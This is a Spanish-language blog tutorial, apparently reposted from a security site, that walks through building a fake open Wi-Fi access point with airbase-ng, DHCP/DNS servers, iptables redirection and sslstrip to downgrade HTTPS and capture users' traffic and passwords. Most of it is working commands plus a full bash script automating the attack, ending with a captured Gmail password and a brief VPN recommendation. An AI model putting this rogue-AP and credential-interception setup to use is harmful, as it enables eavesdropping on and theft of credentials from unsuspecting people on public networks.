¿Qué es un punto de acceso?
Un
punto de acceso inalámbrico o
AP (Access Point)
es un dispositivo que permite la conexión inalámbrica de un equipo
móvil de cómputo (ordenador, tableta, smartphone) con una red.
Generalmente los puntos de acceso tienen como función principal permitir
la conectividad con la red, delegando la tarea de ruteo y
direccionamiento a servidores, routers y switches. La mayoría de los
AP siguen el estándar de comunicación
802.11 de la
IEEE lo que permite una compatibilidad con una gran variedad de equipos inalámbricos.
¿Realmente navegamos seguros en redes wifi?
Vamos a demostrar la facilidad de montar un
Punto de acceso falso (Fake AP) para capturar todo el tráfico y las credenciales de los usuarios, así como: webs que visitan, imágenes, contraseñas…
Todo lo realizado a continuación es a modo de aprendizaje, no nos hacemos responsable del mal uso que un usuario le pueda dar.
Requisitos
- Adaptador Wifi (con soporte modo monitor).
- Antena Wifi.
- Linux Backtrack 5 (ISO o CD).
- VirtualBox (Si usamos Backtrack en CD Live no seria necesario).
- Conexión a Internet.
Software usado
- Aircrack-ng (para crear punto de acceso falso con airbase-ng)
- dhcp3-server (para asignar ips privadas a los clientes que se conecten) – Opcional
- bind9 o dnsmasq (para resolver nombres de dominio)
- iptables (para redireccionar el tráfico y hacer ip forward)
- tar (para desempaquetar archivos tar)
- python (para usar ssltrip)
- ssltrip (para obtener credenciales)
- tcpdump (para capturar el tráfico) – Opcional
- WireShark (para analizar las capturas) – Opcional
- NetworkMiner (para extraer datos de las capturas de forma automatizada)
Paso 1 – Iniciar máquina virtual o CD Live
Lo primero que necesitamos es crear una máquina virtual con la imagen
ISO de
Backtrack 5 o iniciar desde un
CD Live.
Si usamos
Backtrack 5 desde máquina virtual con
VirtualBox debemos asociar el adaptador
Wifi USB a la máquina virtual desde el menú:
Dispositivos >> Dispositivos USB >> “Nombre de nuestro adaptador Wifi USB”

VirtualBox – Dispositivo USB
Backtrack 5 por defecto trae el idioma del teclado en inglés, por comodidad si lo queremos poner en español, ejecutamos este comando:
Paso 2 – Instalar software necesario
Una vez iniciado
Backtrack 5 necesitamos instalar un servidor
DHCP (dhcp3-server) para asignar IPs privadas a los clientes y un servidor
DNS (dnsmasq o bind) para la resolución de nombres de dominio.
Actualizamos los paquetes de los repositorios:
*Deben estar configurados previamente los repositorios en:
/etc/apt/sources.list
Instalamos el servidor
DHCP:
0001
|
apt-get install dhcp3-server
|
Instalamos el servidor
DNS (en este ejemplo hemos usado
dnsmasq pero se podría usar
bind9 también):
Paso 3 – Establecer el adaptador wifi en modo monitor
Nos aseguramos de tener el adaptador wifi conectado correctamente usando el comando:
Nos debería aparecer algo así:

iwconfig
*Dependiendo del dispositivo puede que no aparezca
wlan0 y se muestre con otro nombre. Para saber si es una interfaz wifi debe aparecer:
802.11.
Necesitamos establecer el adaptador Wifi en modo monitor para poder montar el punto de acceso.
Modo monitor:
ó
0001
|
ifconfig wlan0 mode monitor
|
*Hay varias formas para poner el adaptador en modo monitor pero es recomendable usar
airmon-ng ya que este nos crea una nueva interfaz llamada
mon0, mon1, mon2…
Paso 4 – Crear punto de acceso wifi falso
Una vez que tengamos nuestro adaptador wifi en modo monitor, creamos
el punto de acceso, donde debemos especificar el nombre de la red, el
canal wifi a usar y la interfaz en modo monitor (creada anteriormente).
Crearemos una red abierta sin contraseña.
0001
|
airbase-ng -P -C -c --essid
|
-P: Responde a todos los escaneos de redes wifi.
-C: Especifica cada cuantos segundos se envían beacons para anunciar el nombre de la red.
-c: Canal wifi.
–essid: Nombre de la red.
Por ejemplo:
0001
|
airbase-ng -P -C 2 -c 6 --essid "Security Null" mon0
|
*Canal: 6
*Nombre de la red: Security Null
*Interfaz monitor: mon0
Una vez creado el punto de acceso falso,
airbase-ng nos habrá creado una nueva interfaz llamada
at0 (podemos verificarlo usando el comando
ifconfig).
Ahora asignamos una dirección IP y máscara de subred a esta nueva
interfaz (esta interfaz es por la que pasará todo el tráfico de la red
wifi).
Por ejemplo:
0001
|
ifconfig at0 192.168.2.1 netmask 255.255.255.0 up
|
*No usar una dirección IP usada actualmente en vuestra red o no funcionará.
Paso 5 – Configurar e iniciar servidor DHCP
En este momento nuestro punto de acceso seria accesible y visible y
nos podríamos conectar pero nos daría error obteniendo dirección IP al
no tener un servidor
DHCP que nos asigne una dirección IP privada.
Nota: Podemos prescindir de dhcp3-server y usar solo dnsmasq, ya que dnsmasq también tiene las funcionalidades de servidor DHCP. Si prefiere usar solo
dnsmasq, ignore este paso y pase al siguiente.
Editamos el archivo:
/etc/dhcp3/dhcpd.conf
Con el siguiente contenido:
ddns-update-style none;
option domain-name-servers 192.168.2.1;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet 192.168.2.0 netmask 255.255.255.0 {
range 192.168.2.50 192.168.2.100;
option routers 192.168.2.1;
option domain-name-servers 192.168.2.1;
}
*Usamos un rango de IPs desde:
192.168.2.50 a 192.168.2.100, con lo cual solo podría haber 50 clientes conectados simultáneamente, es más que suficiente.
Si ya tenemos el servidor
DHCP iniciado lo cerramos usando:
0001
0002
|
killall dhcpd3
/etc/init.d/dhcp3-server stop
|
Iniciamos el servidor
DHCP indicándole el nuevo archivo de configuración (-cf) y la interfaz
at0:
0001
|
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
|
Paso 6 – Configurar e iniciar servidor DNS
En este momento ya tenemos conectividad con la red wifi falsa pero no
podríamos resolver nombres de dominio, para ello editamos el archivo:
/etc/dnsmasq.conf
Con el siguiente contenido:
listen-address=192.168.2.1,127.0.0.1
Si no queremos usar
dhcp3-server, ya que
dnsmasq también hace de servidor
DHCP, en el archivo anteriormente editado (
dnsmasq.conf) añadimos al final lo siguiente (si estamos usando
dhcp3-server, ignorar esto):
interface=at0
dhcp-range=192.168.2.50,192.168.2.100,255.255.255.0,12h
log-dhcp
dhcp-authoritative
Si ya tenemos el servidor
DNS iniciado lo cerramos usando:
0001
0002
|
killall dnsmasq
/etc/init.d/dnsmasq stop
|
Iniciamos el servidor DNS:
0001
|
dnsmasq -a 192.168.2.1 -d -i at0 -z -C /etc/dnsmasq.conf -I lo
|
Paso 7 – Activar ip forward y aplicar reglas para iptables
Es necesario activar
ip forward para reenviar paquetes desde una interfaz a otra, podemos activar esta opción de varias formas:
0001
|
sysctl net.ipv4.ip_forward=1
|
ó
0001
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
Debemos aplicar unas reglas en
iptables para redirigir el tráfico procedente de la red wifi falsa a una interfaz con conexión a Internet.
0001
0002
0003
0004
|
iptables -t nat -F
iptables -t nat -A PREROUTING -i eth0 -j REDIRECT
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
|
*En este ejemplo hemos usado una conexión a Internet por cable usando la interfaz
eth0.
*La última regla es usada para
ssltrip, donde le indicamos que redireccione todo el tráfico del puerto
80 al
8080 que será el que usemos en
ssltrip.
Paso 8 – Esnifar o capturar tráfico de la red wifi (Opcional)
Opcionalmente podemos usar un esnifer para capturar todo el trafico generado en la red wifi.
Podemos usar tanto
wireshark o
tcpdump.
tcpdump:
0001
|
tcpdump -w dump.pcap -i at0
|
-w: Nombre de la captura.
-i: Interfaz de la cual capturar el tráfico (at0 = Interfaz de nuestro punto de acceso falso).
Paso 9 – Instalar e iniciar SSLTrip
Por último solo nos quedaría instalar
ssltrip. Esta herramienta actúa como un
servidor proxy y se encarga de detectar cuando un usuario esta accediendo a una web a través de
HTTPS y reemplaza
HTTPS por
HTTP, de esta forma capturamos el tráfico sin cifrar.
*Algunos servidores solo dejan entrar a través de
HTTPS, con lo cual puede que no sirva para todos.
Descargamos la herramienta de la web del creador:
http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
Lo descomprimimos y desempaquetamos:
0001
|
tar -xvzf sslstrip-0.9.tar.gz
|
Cambiamos de directorio a su carpeta:
Lo instalamos:
0001
|
python ./setup.py install
|
Y finalmente lo ejecutamos:
0001
|
sslstrip -w ../ssl.cap -l 8080
|
-w: Nombre del archivo donde se guardarán los datos capturados.
-l: Puerto donde escuchará ssltrip.
Automatizando el proceso
Para automatizar todo este proceso hemos creado un script en
bash que lo realiza todo de forma automática y mucho más rápido:
0001
0002
0003
0004
0005
0006
0007
0008
0009
0010
0011
0012
0013
0014
0015
0016
0017
0018
0019
0020
0021
0022
0023
0024
0025
0026
0027
0028
0029
0030
0031
0032
0033
0034
0035
0036
0037
0038
0039
0040
0041
0042
0043
0044
0045
0046
0047
0048
0049
0050
0051
0052
0053
0054
0055
0056
0057
0058
0059
0060
0061
0062
0063
0064
0065
0066
0067
0068
0069
0070
0071
0072
0073
0074
0075
0076
0077
0078
0079
0080
0081
0082
0083
0084
0085
0086
0087
0088
0089
0090
0091
0092
|
#!/bin/bash
wlan_interface="wlan0"
interface_monitor="mon0"
internet_interface="eth0"
essid="SecurityNull"
ap_channel=6
network="192.168.2.0"
ip="192.168.2.1"
mask="255.255.255.0"
ip_start="192.168.2.50"
ip_end="192.168.2.100"
if [ "$UID" -ne 0 ]
then
echo "[!] Require ROOT!!"
exit 0
fi
apt-get update
apt-get install dhcp3-server
apt-get install dnsmasq
airmon-ng stop $interface_monitor
airmon-ng start $wlan_interface
sleep 3
killall airbase-ng
xterm -e airbase-ng -P -C 2 -c $ap_channel --essid "$essid" $interface_monitor &
sleep 3
ifconfig at0 $ip netmask $mask up
echo "
ddns-update-style none;
option domain-name-servers $ip;
default-lease-time 60;
max-lease-time 72;
authoritative;
log-facility local7;
subnet $network netmask $mask {
range $ip_start $ip_end;
option routers $ip;
option domain-name-servers $ip;
}
" > /etc/dhcp3/dhcpd.conf
killall dhcpd3
/etc/init.d/dhcp3-server stop
dhcpd3 -cf /etc/dhcp3/dhcpd.conf at0
echo "
listen-address=192.168.2.1,127.0.0.1
" > /etc/dnsmasq.conf
killall dnsmasq
/etc/init.d/dnsmasq stop
xterm -e dnsmasq -a $ip -d -i at0 -z -C /etc/dnsmasq.conf -I lo &
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -F
iptables -t nat -A PREROUTING -i $internet_interface -j REDIRECT
iptables -t nat -A POSTROUTING -o $internet_interface -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
xterm -e tcpdump -w dump.pcap -i at0 &
if [ ! -d "sslstrip-0.9" ]; then
wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.9.tar.gz
tar -xvzf sslstrip-0.9.tar.gz
fi
cd sslstrip-0.9
python ./setup.py install
sslstrip -w ../ssl.cap -l 8080
|
*Script desarrollado para Linux Backtrack 5, en Kali fue probado y no funciona, se tendría que modificar para adaptarlo.
Antes de ejecutarlo debemos darle permisos de ejecución:
Ejecutamos el script:
*SE NECESITAN PERMISOS ‘ROOT’ PARA SU EJECUCIÓN.
*No requiere de ningún parámetro, para modificar alguna opción se deben modificar las variables del principio del script.
Una vez ejecutado el script se abrirán otras 3 ventanas donde se
verán los clientes asociados, la asignación de direcciones IP privadas
de
DHCP…

FakeAp
A esperar…
Ahora solo nos tocaría esperar a que un cliente se conecte…
En la ventana donde tenemos ejecutándose
airbase-ng nos aparecerán los clientes asociados.
Pruebas
Realizamos una prueba y creamos un punto de acceso falso, donde conectamos a una cuenta de
gmail usando
HTTPS, podemos ver la captura de
ssltrip, y vemos que aparece la contraseña sin cifrar:

Captura SSLTrip
También podemos ver información abriendo la captura con
Wireshark:

Wireshark – Análisis
Pero como podemos ver usando herramientas como
NetworkMiner, con esta herramienta podemos analizar una captura y extraer información sensible de forma más automatizada que usando
Wireshark, como por ejemplo: host a donde nos hemos conectado, archivos e imágenes descargadas, sesiones, credenciales…

NetworkMiner – Hosts

NetworkMiner – Imágenes
De esta forma no solo evitamos el
HTTPS sino que obtendríamos contraseñas de redes sociales, páginas visitadas y mucha más información.
Conclusión
No existe seguridad al conectarse a redes abiertas (sin contraseña) o con cifrado
WEP
ya que cualquiera con conocimientos básicos podría estar esnifando el
tráfico y ver todo lo que hacemos. Si deseamos estar seguros al
conectarnos a este tipo de redes es recomendable usar una
VPN como mínimo.
Si realmente te importa tu privacidad, jamás te conectes a una red
abierta sin tomar las medidas de protección necesarias, ya que aunque ni
siquiera naveguemos en la red, nuestro dispositivo comprueba
actualizaciones, el correo electrónico, las redes sociales que tengamos
abiertas en segundo plano o incluso si tenemos WhastApp, todo esto
realizado de forma automática y quedaría registrado por un atacante.
FUENTES
http://es.wikipedia.org
http://www.thoughtcrime.org
http://safetybits.net
Post original
http://www.securitynull.net/punto-de-acceso-wifi-falso-ssltrip-backtrack-5/comment-page-1/